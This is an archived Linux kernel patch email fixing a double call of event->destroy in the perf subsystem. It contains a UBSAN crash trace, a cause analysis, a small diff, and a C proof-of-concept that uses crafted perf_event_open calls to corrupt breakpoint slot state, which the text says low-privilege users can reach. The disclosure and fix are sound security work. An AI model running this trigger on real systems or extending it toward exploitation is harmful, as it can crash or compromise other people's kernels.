[<prev] [next>] [day] [month] [year] [list]
Message-Id: <20250519143752.37372-1-superman.xpt@gmail.com>
Date: Mon, 19 May 2025 07:37:52 -0700
From: Penglei Jiang <superman.xpt@...il.com>
To: peterz@...radead.org,
mingo@...hat.com,
acme@...nel.org,
namhyung@...nel.org
Cc: mark.rutland@....com,
alexander.shishkin@...ux.intel.com,
jolsa@...nel.org,
irogers@...gle.com,
adrian.hunter@...el.com,
kan.liang@...ux.intel.com,
linux-perf-users@...r.kernel.org,
linux-kernel@...r.kernel.org,
luckd0g@....com,
Penglei Jiang <superman.xpt@...il.com>
Subject: [PATCH 6.14.y] perf: fix double calling of event->destroy
Affected kernel versions: greater than or equal to 6.12.24 and less than 6.15
[BUG]
[ 40.427200] ------------[ cut here ]------------
[ 40.428671] UBSAN: array-index-out-of-bounds in kernel/events/hw_breakpoint.c:245:3
[ 40.430615] index 5 is out of range for type 'atomic_t [4]'
[ 40.432261] CPU: 0 UID: 65534 PID: 226 Comm: a.out Tainted: G W 6.14.7 #1
[ 40.432267] Tainted: [W]=WARN
[ 40.432268] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 40.432270] Call Trace:
[ 40.432272] <TASK>
[ 40.432274] dump_stack_lvl+0x53/0x70
[ 40.432313] __ubsan_handle_out_of_bounds+0xc8/0x100
[ 40.432405] toggle_bp_slot.constprop.0+0x1c6a/0x1cc0
[ 40.432427] ? __percpu_down_read+0x4d/0x2b0
[ 40.432437] register_perf_hw_breakpoint+0xe6/0x270
[ 40.432440] ? __pfx_register_perf_hw_breakpoint+0x10/0x10
[ 40.432442] ? kasan_save_track+0x14/0x30
[ 40.432447] hw_breakpoint_event_init+0x68/0xd0
[ 40.432449] ? kmem_cache_alloc_node_noprof+0x10c/0x330
[ 40.432465] perf_try_init_event+0x108/0xb60
[ 40.432468] perf_event_alloc+0xec0/0x2be0
[ 40.432472] ? fdget+0x53/0x3a0
[ 40.432482] __do_sys_perf_event_open+0x351/0x1b50
[ 40.432485] ? hw_breakpoint_exceptions_notify+0x25f/0x370
[ 40.432489] ? __pfx___do_sys_perf_event_open+0x10/0x10
[ 40.432492] ? __pfx_notify_die+0x10/0x10
[ 40.432496] ? fpregs_assert_state_consistent+0x1b/0xa0
[ 40.432510] do_syscall_64+0x9e/0x1a0
[ 40.432515] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 40.432518] RIP: 0033:0x7f1b0b58bfc9
[ 40.432532] Code: 00 c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 8
[ 40.432534] RSP: 002b:00007fff11481da8 EFLAGS: 00000206 ORIG_RAX: 000000000000012a
[ 40.432538] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f1b0b58bfc9
[ 40.432540] RDX: 0000000000000000 RSI: 0000000000000000 RDI: 00007fff11481dc0
[ 40.432542] RBP: 00007fff11481e40 R08: 0000000000000000 R09: 0000000000000000
[ 40.432543] R10: 00000000ffffffff R11: 0000000000000206 R12: 0000561a1955c060
[ 40.432545] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000
[ 40.432547] </TASK>
[ 40.476591] ---[ end trace ]---
[CAUSE]
When perf_event_alloc() fails, it calls event->destroy twice.
perf_event_alloc
perf_init_event
perf_try_init_event
event->destroy
~~~~~~~~~~~~~~
__free_event
event->destroy
~~~~~~~~~~~~~~
This double call triggers multiple bugs, some of which low-privilege users
can also trigger. Examples include:
hw_breakpoint: array-index-out-of-bounds
uprobe: use-after-free
kprobe: use-after-free
...
[FIX]
After calling event->destroy in perf_try_init_event(), set it to NULL.
[POC]
#include <unistd.h>
#include <string.h>
#include <sys/syscall.h>
#include <linux/perf_event.h>
#include <linux/hw_breakpoint.h>
int main(void) {
struct perf_event_attr attr;
memset(&attr, 0, sizeof(attr));
attr.type = PERF_TYPE_BREAKPOINT;
attr.size = sizeof(struct perf_event_attr);
attr.disabled = 1;
attr.inherit = 1;
attr.exclusive = 1;
attr.exclude_kernel = 1;
attr.bp_type = HW_BREAKPOINT_W;
attr.bp_len = HW_BREAKPOINT_LEN_2;
attr.sample_regs_user = 1;
attr.sample_regs_intr = 0x20000000002;
// This code will incorrectly change the value of info->cpu_pinned to -1.
syscall(__NR_perf_event_open, &attr, 0, 0x80000000000000, -1, PERF_FLAG_FD_CLOEXEC | 0x4);
for (int i = 0; i < 100; i++) {
memset(&attr, 0, sizeof(attr));
attr.type = PERF_TYPE_BREAKPOINT;
attr.size = sizeof(attr);
attr.config = 0;
attr.bp_type = HW_BREAKPOINT_W;
int var = 0;
attr.bp_addr = (unsigned long)&var + i;
attr.bp_len = HW_BREAKPOINT_LEN_2;
attr.sample_period = 0;
attr.disabled = 0;
attr.exclude_kernel = 1;
attr.exclude_hv = 1;
attr.read_format = 0;
syscall(__NR_perf_event_open, &attr, 0, 0, -1, 0);
}
return 0;
}
Reported-by: Penglei Jiang <superman.xpt@...il.com>
Reported-by: Jianzhou Zhao <luckd0g@....com>
Fixes: 1209b0b29fd4 ("perf/core: Simplify the perf_event_alloc() error path")
Closes: https://lore.kernel.org/all/3a701a0.8f4a.196860948e3.Coremail.luckd0g@163.com
Closes: https://lore.kernel.org/all/tencent_B50959BC76205E0AE666AE21F7A07D017306@qq.com
Signed-off-by: Penglei Jiang <superman.xpt@...il.com>
---
kernel/events/core.c | 4 +++-
1 file changed, 3 insertions(+), 1 deletion(-)
diff --git a/kernel/events/core.c b/kernel/events/core.c
index 93ce810384c9..29300bde69db 100644
--- a/kernel/events/core.c
+++ b/kernel/events/core.c
@@ -12045,8 +12045,10 @@ static int perf_try_init_event(struct pmu *pmu, struct perf_event *event)
}
}
- if (ret && event->destroy)
+ if (ret && event->destroy) {
event->destroy(event);
+ event->destroy = NULL;
+ }
}
if (ret) {
--
2.17.1
Powered by blists - more mailing lists